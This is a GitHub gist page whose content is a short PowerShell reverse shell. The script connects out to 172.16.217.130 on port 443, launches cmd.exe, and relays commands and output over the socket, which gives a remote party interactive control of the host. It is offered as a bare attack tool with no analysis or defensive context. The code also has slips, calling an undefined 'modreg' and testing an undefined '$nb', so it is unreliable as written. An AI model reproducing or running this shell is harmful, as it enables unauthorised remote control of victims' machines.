Created
October 13, 2020 13:56
-
-
Save reanimat0r/874456eeea8812ee40dbd614b3850986 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function cln{if($c.Connected -eq $true){$c.Close()}; | |
if($p.ExitCode -ne $null){$p.Close()}; | |
exit | |
}; | |
$c=New-Object System.Net.Sockets.TcpClient; | |
$c.Connect('172.16.217.130',443); | |
if($c.Connected -ne $true){cln}; | |
$s=$c.GetStream(); | |
$b=New-Object System.Byte[] $c.ReceiveBufferSize; | |
$p=New-Object System.Diagnostics.Process; | |
$p.StartInfo.FileName='cmd.exe'; | |
$p.StartInfo.RedirectStandardInput=1; | |
$p.StartInfo.RedirectStandardOutput=1; | |
$p.StartInfo.UseShellExecute=0; | |
$p.Start(); | |
$is=$p.StandardInput; | |
$os=$p.StandardOutput;Start-Sleep 1; | |
$e=New-Object System.Text.AsciiEncoding; | |
while($os.Peek()-ne -1){$o+=$e.GetString($os.Read())}; | |
$s.Write($e.GetBytes($o),0,$o.Length); | |
$o=$null; | |
while($true){if($c.Connected -ne $true) | |
{modreg}; | |
$pos=0;$i=1; | |
while(($i -gt 0)-and($pos -lt $b.Length)){$read=$s.Read($b,$pos,$b.Length -$pos); | |
$pos+=$read; | |
if($pos -and($nb[0..$($pos-1)]-contains 10)){break}; | |
if($pos -gt 0){$str=$e.GetString($b,0,$pos); | |
$is.Write($str); | |
Start-Sleep 1; | |
if($p.ExitCode -ne $null){cln}else{$o=$e.GetString($os.Read()); | |
while($os.Peek()-ne -1){$o+=$e.GetString($os.Read()); | |
if($o -eq $str){$o=''}}; | |
$s.Write($e.GetBytes($o),0,$o.Length); | |
$o=$null;$str=$null}}else{cln}}}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment